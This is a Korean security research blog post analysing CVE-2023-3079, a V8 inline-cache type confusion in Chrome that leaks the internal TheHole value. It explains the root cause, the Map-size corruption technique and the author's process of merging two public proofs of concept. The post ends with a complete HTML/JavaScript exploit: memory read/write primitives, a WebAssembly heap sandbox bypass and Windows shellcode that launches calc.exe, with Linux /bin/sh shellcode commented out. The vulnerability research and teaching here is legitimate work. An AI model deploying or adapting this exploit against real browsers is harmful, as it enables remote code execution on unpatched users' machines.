[Wipeload 3단계] H0le in One(KR)
![]()
0. Overview
안녕하세요, ji9umi입니다! 🌏 이전 글인 도닦기 2단계에서는 V8 Heap Sandbox Bypass에 대한 내용을 다뤄보았습니다. 이번 글에서 다룰 CVE-2023-3079는 Chrome Renderer에서 RCE가 가능한 취약점으로 앞의 취약점과 결합하여 Medium IL 권한으로 실행하는 것이 가능하였습니다..!
글의 순서가 바뀌긴 했지만 실제 익스플로잇 체인에서는 CVE-2023-3079 → V8 Heap Sandbox Bypass → Chrome Sandbox Escape → LPE 순서로 진행되었습니다. 기술적 분석의 경우 이번 프로젝트의 가장 큰 영감이 된 티오리 기술블로그의 Chaining N-days to Compromise All 시리즈 뿐만 아니라 이미 공개된 훌륭한 자료가 존재하였습니다.
그렇기 때문에 이 글에서는 V8 취약점 분석을 처음 진행하는 초보자 입장에서(사실 제 얘기입니다 ㅎㅎ;) 추가적으로 학습한 내용과 취약한 환경을 구성하여 이를 테스트하는 과정을 중점적으로 다뤄보았습니다.
마지막에는 분리되어 있는 두 개의 PoC를 하나로 합쳐 실제 브라우저에서 테스트를 진행해보았으니 끝까지 잘 읽어주시면 감사하겠습니다! 🙇🏻
1. Background
V8에서는 성능 향상을 위해 다양한 최적화 기법이 적용되어 있습니다. CVE-2023-3079 또한 최적화 기법 중 하나인 Inline Cache를 처리하는 과정에서 발생하는 type confusion으로 RCE가 가능하였습니다.
취약한 로직을 살펴보기 이전에 내부 메커니즘을 이해하기 위한 개념을 먼저 짚어보고 가겠습니다 🏃🏻♀️
1.1. Inline Cache
Inline Cache(이하 IC)는 V8만의 고유한 최적화 기법은 아닙니다. Firefox나 Safari의 경우 SpiderMonkey, JavaScriptCore라는 명칭의 자바스크립트 엔진을 사용하는데 모두 공통된 개념을 가지고 있습니다.
이어서 설명할 Maps의 경우 V8에서 HiddenClasses를 지칭하는 용어로 SpiderMonkey에서는 Shapes, JSC의 경우 Structures라는 이름으로 지칭하기도 합니다 🤯
IC를 간단하게 설명해보면 런타임 중 반복적으로 발생하는 객체 접근 과정을 더 빠르게 실행할 수 있도록 한다고 이해할 수 있습니다. 사실 이렇게만 설명하면 이해하기 쉽지 않기 때문에 기본적인 개념부터 차근차근 살펴보겠습니다.
V8에는 Maps라는 개념이 존재합니다. 이는 자바스크립트의 Map과는 별개로 자바스크립트 객체에 관한 다양한 정보를 담고 있습니다. 객체의 크기 뿐만 아니라 내부에 어떤 멤버가 존재하는지, 그리고 그 순서가 어떻게 되는지 같은 세세한 정보도 모두 기록되어 있는데 그렇기 때문에 하나의 객체는 상태가 변함에 따라 여러 Map을 가질 수도 있으며 반대로 동일한 형태를 가진 둘 이상의 객체는 하나의 Map을 공유할 수도 있습니다.
위 이미지는 처음에는 빈 객체로 시작하여 ‘x’, ‘y’ key를 추가할 때 Map의 변화입니다. 순서대로 Shape (empty) → Shape (x) → Shape (x, y)가 되는데 결과적으로 객체의 멤버가 변경되면 새로운 Map을 생성한다는 걸 확인할 수 있습니다.
같은 형태를 가지는 경우 객체가 하나의 Maps을 공유하는 것도 가능하다고 하였는데 반대로 같은 형태를 가지고 있었지만 서로 다른 형태로 변경되면 당연하게도 이들은 분기하게 됩니다.
d8> var a = {}
undefined
d8> %DebugPrint(a);
DebugPrint: 0x3002001cc5a1: [JS_OBJECT_TYPE]
- map: 0x3002001048ed <Map[28](HOLEY_ELEMENTS)> [FastProperties]
# ...
d8> a.x = 1;
1
d8> %DebugPrint(a);
DebugPrint: 0x3002001cc5a1: [JS_OBJECT_TYPE]
- map: 0x30020011bfc5 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
# ...
직접 d8을 실행하여 확인해보면 map 필드가 가리키는 주소가 0x3002001048ed에서 0x30020011bfc5로 변경된 걸 확인할 수 있습니다. 결국 V8이 어떻게 객체를 접근하는지와 이어지는데 객체 a의 ‘x’ 를 접근하는 경우 다음과 같은 순서로 진행됩니다:
- 객체
a의 Maps 확인 - Maps에 ‘x’가 어느 위치에 있는지 확인
- (key-value 구조의 경우) ‘x’ key가 가지고 있는 value는 어느 위치에 있는지 확인
- 최종적으로 접근하고자 하는 value의 위치를 반환받으면 이를 접근
설계 관점에서는 당연한 동작이지만 대규모 상황에서 반복적으로 객체를 접근할 때 병목이 될 수 밖에 없습니다. 따라서 이 과정을 최적화하기 위해 다음과 같은 가설을 세워볼 수 있습니다:
만약, 짧은 시간 내에 특정 객체의 같은 위치에 접근할 때 중간 과정을 생략하고 바로 offset을 반환하면 어떨까?
중간 과정이 존재한 이유는 Map 형태가 변경될 수 있기 때문에 이때 새로운 offset을 알아야 했기 때문입니다. 그러나 일정 횟수 동안 변경되지 않는 정보를 반환한다면 이는 불필요한 과정이 된다는 뜻이죠.
결국 형태가 변경되지 않았을 거라 가정하고 빠른 접근을 위해 offset을 반환하는 이 방식이 IC의 개념입니다.
1.2. IC handlers & slot
Root Cause를 살펴보기에 앞서 IC와 관련된 개념 두 가지를 더 알아보겠습니다. V8은 자바스크립트 실행 시 Interpreter를 거쳐 bytecode라는 형태로 변환합니다. 이때 모든 bytecode가 IC를 지원하는 것은 아닌데요, 만약 IC를 지원하는 경우 각 bytecode는 IC slot을 가지고 있습니다. 그리고 IC slot은 IC handlers를 관리하기 위한 목적으로 하나의 IC slot에는 하나 이상의 handler가 존재할 수 있습니다.
IC slot에 상태에 따라 이를 가리키는 명칭에 변화가 있는데 이는 다음과 같습니다:
- Uninitialized IC
- 초기화되지 않은 상태로 아직 매핑된 IC handler가 없는 경우
- Monomorphic IC
- 한 개의 IC handler가 매핑되어 있는 경우
- Polymorphic IC
- 2 ~ 4개의 IC handler가 매핑되어 있는 경우
- Megamorphic IC
- Polymorphic IC의 최대 범위를 초과하여 IC handler가 매핑되어 있는 경우
2. Root Cause Analysis
CVE-2023-3079는 SetKeyedProperty bytecode에서 IC 내부 로직 중 JSStrictArgumentObject를 다룰 때 type confusion이 발생하는 취약점입니다. 이를 통해 공격자는 TheHole을 유출할 수 있었으며 최종적으로 익스플로잇이 가능하였습니다.
function set_keyed_prop(obj, key, val) {
obj[key] = val; // SetKeyedProperty
}
V8에서는 named-properties를 property, array-indexed properties를 element라는 용어로 지칭하며 이에 따라 IC handler도 둘을 다루기 위해 분리된 메서드를 호출합니다. Element를 처리하기 위해서는 KeyedStoreIC::StoreElementHandler()를 사용합니다.
Handle<Object> KeyedStoreIC::StoreElementHandler(
Handle<Map> receiver_map, KeyedAccessStoreMode store_mode,
MaybeHandle<Object> prev_validity_cell) {
...
if (...) {
...
} else if (receiver_map->has_fast_elements() ||
receiver_map->has_sealed_elements() ||
receiver_map->has_nonextensible_elements() ||
receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
TRACE_HANDLER_STATS(isolate(), KeyedStoreIC_StoreFastElementStub);
code = StoreHandler::StoreFastElementBuiltin(isolate(), store_mode);
...
}
...
}
전달받은 element가 어떤 종류의 값을 가지고 있는지에 따라 분기하게 되는데 JSStrictArgumentObject의 경우 fast elements를 가지고 있기 때문에 receiver_map->has_fast_elements()에 의해 StoreHandler::StoreFastElementBuiltin() 메서드가 호출됩니다.
해당 메서드에서는 내부적으로 StoredFastElementIC_GrowNoTransitionHandleCOW handler를 사용하는데 여기서 버그가 발생하게 됩니다.
Handle<Code> StoreHandler::StoreFastElementBuiltin(Isolate* isolate,
KeyedAccessStoreMode mode) {
switch (mode) {
...
case STORE_AND_GROW_HANDLE_COW:
return BUILTIN_CODE(isolate,
StoreFastElementIC_GrowNoTransitionHandleCOW);
...
}
}
이 handler는 이름에서 알 수 있듯이 element를 저장하는 과정에서 전이를 진행하지 않는데 만약 element의 맨 끝에 값을 추가하는 경우 기존 크기보다 확장하며 빈 공간에 TheHole을 추가해도 PACKED_ELEMENTS에서 HOLEY_ELEMENTS로 전이하지 않기 때문입니다.
JSStrictArgumentsObject는 기본적으로 PACKED_ELEMENTS로 같은 기능을 하는 slow version—fast elements가 아닌 상황에서 호출되는 handler—에서는 JSArray가 아닌 element에서 이와 같은 추가가 발생할 때 HOLEY_ELEMENTS로 바꿔야 한다고 작성되어 있습니다.
전체 PoC는 다음과 같습니다:
function set_keyed_prop(obj, key, val) {
obj[key] = val;
}
function leak_hole() {
const IC_WARMUP_COUNT = 10;
for (let i = 0; i < IC_WARMUP_COUNT; i++) {
set_keyed_prop(arguments, "foo", 1);
}
set_keyed_prop([], 0, 1);
set_keyed_prop(arguments, arguments.length, 1);
let hole = arguments[arguments.length + 1];
return hole;
}
- 먼저
arguments에 key로 ‘foo’, 값은 1로 지정하여 이를 반복적으로 호출합니다.- 위 반복문을 실행함으로
arguments객체의 IC slot은 monomorphic 상태가 됩니다. - 이는
arguments에 element handler를 설정하기 위해 직접 호출할 수 없기 때문으로 만약 key를 SMI로 지정할 경우 버그가 존재하는 handler 대신 느린 경로를 사용하기 때문입니다.
- 위 반복문을 실행함으로
- 다음으로 빈 배열을 인자로
set_keyed_prop()을 호출합니다.- 이때 배열은
arguments가 아니기 때문에 IC에 등록된 handler와 일치하지 않습니다. - 따라서 새로운 element handler를 설정하기 위해
KeyedStoreIC::UpdateStoreElement()를 호출합니다. - 여기서 내부적으로
StoreElementHandler()를 호출하고 이는 버그가 발생하였던 handler를 등록하게 됩니다. - 다음으로 호출되는
StoreElementPolymorphicHandlers()는 기존에 IC slot에 등록되어 있던 handler 또한 element handler로 변환합니다.
- 이때 배열은
- 마지막으로 호출되는
set_keyed_prop()에서 취약한 handler가 호출됩니다.arguments의 element 공간의 확장이 요구되며PACKED_ELEMENTS이기 때문입니다.
마지막 set_keyed_prop() 호출을 통해 arguments의 확장이 진행되고 이로인한 TheHole의 접근이 가능해집니다. 공격자는 이를 활용하여 out-of-bounds memory 접근이 가능하며 일반적인 V8 exploit chain과 같이 진행이 가능합니다.
3. H0le in One
TheHole은 일반 사용자에게 노출되면 안되는 값이지만 이 값이 출력되는 것이 곧 전체 익스플로잇이 성공하였음을 말하지는 않습니다. 잠시 2021년으로 거슬러 가볼까요?
첫 발견은 issue 40057710에서 시작되었습니다. 이는 in-the-wild 취약점으로 식별되었으며 CVE-2023-3079와 같이 TheHole 값을 유출할 수 있는 버그였습니다.
유출한 TheHole을 활용하기 위해 공격자는 자바스크립트의 Map을 공략하였습니다. TheHole은 V8 내에서 undefined와 같이 아직 정의되지 않은 값 뿐만 아니라 Map에서 삭제된 key-value를 대체하는 값으로도 사용되었습니다.
var map = new Map();
map.set(1, 1);
map.set(hole, 1);
// Due to special handling of hole values, this ends up setting the size of the map to -1
map.delete(hole);
map.delete(hole);
map.delete(1);
// Size is now -1
//print(map.size);
// Set values in the map, which presumably ends up corrupting data in front of
// the map storage due to the size being -1
for (let i = 0; i < 100; i++) {
map.set(i, 1);
}
// Optionally trigger heap verification if the above didn't already crash
//gc();
정상적인 사용자라면 TheHole에 직접적인 접근이 불가하기 때문에 위 코드는 성립되지 않습니다. 그러나 key 위치에 TheHole을 사용한다면 흥미로운 결과를 얻을 수 있습니다.
map.delete()는 내부적으로 삭제해야 할 key와 value 값을 TheHole로 덮어씌웁니다. 그리고 size를 1씩 감소하여 Map을 유지합니다. 이를 다른 관점에서 보면 key-value가 TheHole-TheHole인 멤버가 존재하는 것이기 때문에 map.delete(TheHole)이 가능하다면 size의 변조가 가능하다는 뜻이 됩니다.
실제로 위 코드 또한 두 개의 멤버를 추가하고 세 번의 delete()를 수행하여 size를 -1로 변경하는 것이 가능하였습니다.
Map size를 -1로 조작한다면 이제부터는 본격적인 primitive 설계가 진행됩니다.

Map 내부 구조를 이미지로 표현하면 위와 같은 결과를 확인할 수 있습니다. header의 경우 크기가 고정되어 있지만 이어지는 hashTable과 dataTable은 bucket count에 따라 유동적으로 변화합니다. 당연하게도 해당 영역은 사용자가 임의로 접근하지 못하지만 size를 -1로 변경한 다음 호출되는 map.set()의 경우 bucket count와 hashTable의 0번째 위치를 조작할 수 있게 됩니다.

Bucket count를 조작하는 경우 이에 비례하여 hashTable과 dataTable의 크기가 커지기 때문에 위 이미지와 같이 인접한 객체의 데이터를 침범하는 것 또한 가능합니다.
TheHole을 이용한 익스플로잇과 관련하여 실제로는 더 많은 기술적 내용이 존재하지만, 이 글에서는 우선 인접한 객체에 침범이 가능하다는 내용까지만 짚고 넘어가겠습니다. 직접 환경을 구축하고 익스플로잇을 진행하는 과정에서 특히 시행착오가 많았던 부분인 만큼 기회가 된다면 도닦기 프로젝트 외전으로 TheHole 취약점의 변천사를 다뤄보겠습니다..!
4. Exploit Development
불행 중 다행으로 CVE-2023-3079와 V8 heap sandbox를 우회하기 위한 PoC는 모두 공개되어 있었습니다. 다만, 하나로 합쳐진 형태는 아니었기 때문에 처음에는 막연히 두 PoC를 하나로 만들면 재현이 가능할 것이라 생각했습니다.
이쯤되면 아셨을 수도 있지만 사족이 많아진 것은 그렇지 않았기 때문이랍니다 🥹
4.1. In D8
공개된 두 PoC는 동일한 V8 commit hash(f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c)를 가리키고 있었습니다. 따라서 빌드 환경을 구성한 뒤 주어진 commit hash로 checkout하면 동일한 환경을 구축할 수 있었습니다.
통합 작업을 위해서는 참고한 PoC가 어디까지 수행 가능한지 확인할 필요가 있었습니다. CVE-2023-3079 취약점의 PoC는 mistymntncop/CVE-2023-3079를, V8 heap sandbox의 경우 theori-io/v8-sbx-bypass-wasm을 사용하였습니다.
function pwn() {
the.hole = leak_hole();
install_primitives();
let obj = {};
let obj_addr = addr_of(obj);
%DebugPrint(obj);
let obj2 = fake_obj(obj_addr);
%DebugPrint(obj2);
print("obj_addr = " + obj_addr.toString(16));
let map = v8_read64(obj_addr) & 0xFFFFFFFFn;
print("map = " + map.toString(16));
}
pwn();
위 코드는 CVE-2023-3079 PoC의 pwn() 함수입니다. 이 PoC에서는 V8 heap sandbox 영역 내에서만 R/W가 가능하기 때문에 v8_read64()와 v8_write64()까지만 구현되어 있는 점도 확인할 수 있었습니다.
var sbxMemView = new Sandbox.MemoryView(0, 0xfffffff8);
var dv = new DataView(sbxMemView);
function caged_addr_of(obj) {
return Sandbox.getAddressOf(obj);
}
function caged_read64(addr) {
addr &= ~1;
return dv.getBigUint64(addr, true);
}
function caged_write64(addr, val) {
addr &= ~1;
dv.setBigUint64(addr, val, true);
}
반대로 v8-sbx-bypass-wasm PoC는 V8 heap 영역에서 R/W를 위해 Sandbox.MemoryView()와 DataView()를 사용하였습니다. 이는 V8 빌드 시 v8_enable_memory_corruption_api = true 설정을 통해 활성화 가능한 API로 앞의 단계를 생략하여 테스트할 수 있습니다.
결국 이 작업의 최종 목적은 CVE-2023-3079를 통해 얻은 V8 heap sandbox 내 R/W를 활용하여 heap sandbox를 우회하는 것입니다.
두 PoC의 역할이 명확한 만큼 어려운 작업은 아니었습니다! Sandbox API를 사용하던 caged_read64()와 caged_write64()를 익스플로잇으로 구축한 primitive를 가리키도록 변경하면 되었습니다.
두 PoC의 commit hash가 동일한 만큼 해당 환경에서 진행하는데는 전혀 문제가 없었지만 이어질 Chrome Sandbox Escape와 Windows EoP를 위해서는 Chrome 환경에서 테스트가 필요했습니다.
4.2. In Chrome
CVE-2023-3079의 경우 Windows 기준 114.0.5735.110, Linux와 Mac은 114.0.5735.106 버전에서 조치된 취약점으로 테스트를 위해서는 별도의 환경 구성이 필요합니다. 만약 취약점 테스트를 위해 직접 크로미움 소스코드를 받아 빌드하는 경우 환경에 따라 매우 긴 시간이 소요될 수 있지만 다행히도 2023년 6월부터 버전 별 테스트를 위한 Chrome for Testing에서 사전에 빌드된 설치 파일을 다운로드 받을 수 있게 되었습니다.
Chrome for Testing에서 지원하는 최소 버전은 113.0.5672.63이기 때문에 패치 이전 환경을 구축하는데 활용할 수 있었습니다. 이때의 단점은 D8은 포함되어 있지 않기 때문에 설치 후 V8 엔진 버전을 확인하여 이에 맞춰 빌드를 진행하였습니다.

테스트를 위해서는 Chrome 실행 시 --no-sandbox 플래그를 추가해야하는데 이는 V8 heap sandbox bypass를 성공하여도 Chrome Sandbox는 추가적인 과정이 필요하여 직접적인 확인이 불가하기 때문입니다. Windows 기준 chrome://sandbox를 통해 확인할 수 있었습니다.

환경 구성을 완료한 뒤 첫 PoC를 실행했을 때는 아래와 같은 오류가 발생하였습니다:

오류가 발생하는 원인을 확인해보면 caged_addr_of() 호출 과정에서 정의되지 않은 property의 값을 변경하려고 시도한다는 걸 찾을 수 있습니다.
function caged_addr_of(obj) {
large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
large_arr[1] = itof(fake_arr_elements_addr | (smi(1n) << 32n));
fake_arr[0] = obj;
let result = ftoi(large_arr[3]) & 0xFFFFFFFFn;
large_arr[1] = itof(0n | (smi(0n) << 32n));
return result;
}
정확히는 fake_arr[0] = obj;에서 발생하는 문제로 이전 단계에서 생성되었어야 할 fake_arr이 존재하지 않기 때문에 발생하는 문제였습니다. Windbg를 통해 보다 정확한 원인을 확인할 수 있었는데 이는 하드코딩 되어 있는 오프셋이 일치하지 않는 문제였습니다.

위 이미지는 일반적인 TheHole 익스플로잇 흐름에서 의도된 메모리 레이아웃입니다. fake_arr은 large_arr 내에 위치한 값을 순차적으로 읽어와야 이후 primitive 구축에 필요한 주소를 획득할 수 있지만 일부 버전에서는 구조가 다르게 나타났습니다.
배포되는 Chrome for Testing 중 공개된 PoC로 테스트가 가능하였던 버전은 114.0.5708.0 ~ 114.0.5715.0로 제한적이었습니다. 메모리 레이아웃이 일치하는 버전에서 테스트 시 정상적으로 계산기가 실행되는 것을 확인하였습니다.
PoC의 경우 글 맨 하단에 첨부해둘게요! 🖥️
5. Takeaways
관련된 PoC가 모두 공개되어 있기 때문에 과연 어떤 걸 얻어갈 수 있을까 고민했던 게 무색할 정도로 쉽지만은 않던 과정이었습니다. 현 시점에서는 또다른 보호기법이 추가되어 최신 취약점을 찾기 위해서는 추가적인 학습이 요구되겠지만 잘 정리된 문서가 여럿 있기 때문에 Chrome에 관심이 있다면 첫 시작으로 좋은 레퍼런스가 아닐까 싶어요 😇
계속해서 이어지는 도닦기 시리즈에서는 --no-sandbox 없이도 취약점을 통해 익스플로잇이 가능하게 만들어주는 Chrome Sandbox Escape와 Windows 권한 상승에 대한 얘기가 진행될 예정입니다!
마지막까지 많은 관심 부탁드립니다 🙇🏻♂️🙇🏻♀️
99. References
- Overview
- Background
- H0le in One
- Exploit Development
번외. PoC
<html>
<button onclick="pwn()">Exploit Me</button>
<script>
function pwn() {
alert("Let's go");
}
const FIXED_ARRAY_HEADER_SIZE = 8n;
var arr_buf = new ArrayBuffer(8);
var f64_arr = new Float64Array(arr_buf);
var b64_arr = new BigInt64Array(arr_buf);
function ftoi(f) {
f64_arr[0] = f;
return b64_arr[0];
}
function itof(i) {
b64_arr[0] = i;
return f64_arr[0];
}
function smi(i) {
return i << 1n;
}
function gc_minor() { //scavenge
for(let i = 0; i < 1000; i++) {
new ArrayBuffer(0x10000);
}
}
function gc_major() { //mark-sweep
new ArrayBuffer(0x7fe00000);
}
function set_keyed_prop(arr, key, val) {
arr[key] = val;
}
function leak_hole() {
let store_mode = []; //STORE_AND_GROW_HANDLE_COW
const IC_WARMUP_COUNT = 10;
for(let i = 0; i < IC_WARMUP_COUNT; i++) {
set_keyed_prop(arguments, "foo", 1);
}
set_keyed_prop(store_mode, 0, 1);
set_keyed_prop(arguments, arguments.length, 1);
let hole = arguments[arguments.length+1];
return hole;
}
const the = {};
var large_arr = new Array(0x10000);
large_arr.fill(itof(0xDEADBEE0n)); //change array type to HOLEY_DOUBLE_ELEMENTS_MAP
var fake_arr = null;
var fake_arr_addr = null;
var fake_arr_elements_addr = null;
var packed_dbl_map = null;
var packed_dbl_props = null;
var packed_map = null;
var packed_props = null;
function leak_stuff(b) {
if(b) {
let index = Number(b ? the.hole : -1);
index |= 0;
index += 1;
let arr1 = [1.1, 2.2, 3.3, 4.4];
let arr2 = [0x1337, large_arr];
let packed_double_map_and_props = arr1.at(index*4);
let packed_double_elements_and_len = arr1.at(index*5);
let packed_map_and_props = arr1.at(index*8);
let packed_elements_and_len = arr1.at(index*9);
let fixed_arr_map = arr1.at(index*6);
let large_arr_addr = arr1.at(index*7);
return [
packed_double_map_and_props, packed_double_elements_and_len,
packed_map_and_props, packed_elements_and_len,
fixed_arr_map, large_arr_addr,
arr1, arr2
];
}
return 0;
}
function weak_fake_obj(b, addr=1.1) {
if(b) {
let index = Number(b ? the.hole : -1);
index |= 0;
index += 1;
let arr1 = [0x1337, {}]
let arr2 = [addr, 2.2, 3.3, 4.4];
let fake_obj = arr1.at(index*8);
return [
fake_obj,
arr1, arr2
];
}
return 0;
}
function fake_obj(addr) {
large_arr[0] = itof(packed_map | (packed_dbl_props << 32n));
large_arr[1] = itof(fake_arr_elements_addr | (smi(1n) << 32n));
large_arr[3] = itof(addr | 1n);
let result = fake_arr[0];
large_arr[1] = itof(0n | (smi(0n) << 32n));
return result;
}
function caged_addr_of(obj) {
large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
large_arr[1] = itof(fake_arr_elements_addr | (smi(1n) << 32n));
fake_arr[0] = obj;
let result = ftoi(large_arr[3]) & 0xFFFFFFFFn;
large_arr[1] = itof(0n | (smi(0n) << 32n));
return result;
}
function caged_read64(addr) {
if (typeof addr === "number") {
addr = BigInt(addr);
}
addr -= FIXED_ARRAY_HEADER_SIZE;
large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
large_arr[1] = itof((addr | 1n) | (smi(1n) << 32n));
let result = ftoi(fake_arr[0]);
large_arr[1] = itof(0n | (smi(0n) << 32n));
return result;
}
function caged_write64(addr, val) {
if (typeof addr === "number") {
addr = BigInt(addr);
}
addr -= FIXED_ARRAY_HEADER_SIZE;
large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
large_arr[1] = itof((addr | 1n) | (smi(1n) << 32n));
fake_arr[0] = itof(val);
large_arr[1] = itof(0n | (smi(0n) << 32n));
}
function install_primitives() {
for(let i = 0; i < 10; i++) {
weak_fake_obj(true, 1.1);
}
for(let i = 0; i < 10000; i++) {
weak_fake_obj(false, 1.1);
}
for(let i = 0; i < 10; i++) {
leak_stuff(true);
}
for(let i = 0; i < 20000; i++) {
leak_stuff(false);
}
gc_minor();
gc_major();
let leaks = leak_stuff(true);
let packed_double_map_and_props = ftoi(leaks[0]);
let packed_double_elements_and_len = ftoi(leaks[1]);
packed_dbl_map = packed_double_map_and_props & 0xFFFFFFFFn;
packed_dbl_props = packed_double_map_and_props >> 32n;
let packed_dbl_elements = packed_double_elements_and_len & 0xFFFFFFFFn;
let packed_map_and_props = ftoi(leaks[2]);
let packed_elements_and_len = ftoi(leaks[3]);
packed_map = packed_map_and_props & 0xFFFFFFFFn;
packed_props = packed_map_and_props >> 32n;
let packed_elements = packed_elements_and_len & 0xFFFFFFFFn;
let fixed_arr_map = ftoi(leaks[4]) & 0xFFFFFFFFn;
let large_arr_addr = ftoi(leaks[5]) >> 32n;
let dbl_arr = leaks[6];
dbl_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
dbl_arr[1] = itof(((large_arr_addr + 8n) - FIXED_ARRAY_HEADER_SIZE) | (smi(1n) << 32n));
let temp_fake_arr_addr = (packed_dbl_elements + FIXED_ARRAY_HEADER_SIZE)|1n;
let temp_fake_arr = weak_fake_obj(true, itof(temp_fake_arr_addr));
let large_arr_elements_addr = ftoi(temp_fake_arr[0]) & 0xFFFFFFFFn;
fake_arr_addr = large_arr_elements_addr + FIXED_ARRAY_HEADER_SIZE;
fake_arr_elements_addr = fake_arr_addr + 16n;
large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
large_arr[1] = itof(fake_arr_elements_addr | (smi(0n) << 32n));
large_arr[2] = itof(fixed_arr_map | (smi(0n) << 32n));
fake_arr = weak_fake_obj(true, itof(fake_arr_addr))[0];
temp_fake_arr = null;
}
function pwn() {
the.hole = leak_hole();
install_primitives();
const tbl = new WebAssembly.Table({
initial: 2,
element: "anyfunc"
});
const importObject = {
env: { jstimes3: (n) => 3 * n, },
js: { tbl }
};
var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 10, 2, 96, 1, 127, 1, 127, 96, 0, 1, 127, 2, 27, 2, 3, 101, 110, 118, 8, 106, 115, 116, 105, 109, 101, 115, 51, 0, 0, 2, 106, 115, 3, 116, 98, 108, 1, 112, 0, 2, 3, 5, 4, 1, 1, 0, 0, 7, 16, 2, 6, 116, 105, 109, 101, 115, 50, 0, 3, 3, 112, 119, 110, 0, 4, 9, 8, 1, 0, 65, 0, 11, 2, 1, 2, 10, 24, 4, 4, 0, 65, 42, 11, 5, 0, 65, 211, 0, 11, 4, 0, 65, 16, 11, 6, 0, 65, 16, 16, 0, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module, importObject);
var times2 = instance.exports.times2;
var shellcode_bytes = [101, 72, 139, 28, 37, 96, 0, 0, 0, 72, 139, 91, 24, 72, 139, 91, 32, 72, 139, 27, 72, 139, 27, 72, 139, 91, 32, 73, 137, 217, 72, 49, 219, 72, 49, 210, 102, 65, 139, 89, 60, 76, 1, 203, 139, 147, 136, 0, 0, 0, 76, 1, 202, 73, 137, 208, 72, 49, 219, 139, 90, 32, 76, 1, 203, 72, 137, 222, 72, 186, 65, 87, 105, 110, 69, 120, 101, 99, 72, 193, 234, 8, 72, 49, 201, 72, 255, 193, 72, 49, 192, 139, 4, 142, 76, 1, 200, 72, 57, 16, 117, 239, 72, 49, 210, 178, 4, 72, 15, 175, 202, 72, 49, 219, 65, 139, 88, 28, 76, 1, 203, 139, 20, 11, 76, 1, 202, 72, 137, 215, 72, 49, 210, 82, 82, 72, 185, 99, 97, 108, 99, 46, 101, 120, 101, 81, 72, 137, 225, 72, 131, 236, 80, 255, 215, 72, 131, 196, 80, 195];
// var shellcode_bytes = [49, 246, 72, 187, 47, 98, 105, 110, 47, 47, 115, 104, 86, 83, 84, 95, 106, 59, 88, 49, 210, 15, 5, 144];
var array_buffer = new ArrayBuffer(shellcode_bytes.length);
var byte_arr = new Uint8Array(array_buffer);
var bigint_arr = new BigInt64Array(array_buffer);
var shellcode = instance.exports.pwn;
// Set the function_index of `instance.exports.times2` to 0
var instance_addr = caged_addr_of(instance);
var tbl_addr = caged_addr_of(tbl);
var exported_func_addr = caged_addr_of(instance.exports.times2);
var shared_info_ptr = Number(caged_read64(exported_func_addr + 0x8n) >> 32n);
var data = Number(caged_read64(shared_info_ptr) >> 32n);
var instance_and_function_index = caged_read64(data + 0x10);
var instance = instance_and_function_index & 0xFFFFFFFFn;
caged_write64(data + 0x10, (0n << 32n) | instance);
console.log("[+] instance_addr = 0x" + instance_addr.toString(16));
console.log("[+] tbl_addr = 0x" + tbl_addr.toString(16));
console.log("[+] exported_func_addr = 0x" + exported_func_addr.toString(16));
var imported_function_targets_and_ift_size = caged_read64(instance_addr + 0x18n);
var imported_function_targets = imported_function_targets_and_ift_size & 0xFFFFFFFFn;
let what_ptr = Number(imported_function_targets) + 0x8;
var rwx = caged_read64(what_ptr);
console.log("[+] imported_function_targets = 0x" + imported_function_targets.toString(16));
console.log("[+] rwx = 0x" + rwx.toString(16));
var indirect_function_tables = Number(caged_read64(instance_addr + 0xc0n) >> 32n);
var indirect_function_table = Number(caged_read64(indirect_function_tables + 0x8) & 0xFFFFFFFFn);
var targets_ptr = indirect_function_table + 0x10;
var where_ptr = targets_ptr;
var targets = caged_read64(targets_ptr);
console.log("[+] indirect_function_tables = 0x" + indirect_function_tables.toString(16));
console.log("[+] indirect_function_table = 0x" + indirect_function_table.toString(16));
let arbitrary_write = (where, what) => {
caged_write64(where_ptr, where - 0x8n);
caged_write64(what_ptr, what);
tbl.set(1, times2);
caged_write64(what_ptr, rwx);
caged_write64(where_ptr, targets);
};
for (var i = 0; i < shellcode_bytes.length; ++i) {
byte_arr[i] = shellcode_bytes[i];
}
for (var i = 0; i < shellcode_bytes.length / 8; ++i) {
arbitrary_write(rwx + 8n * BigInt(i), bigint_arr[i]);
}
shellcode();
}
</script>
</html>
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.
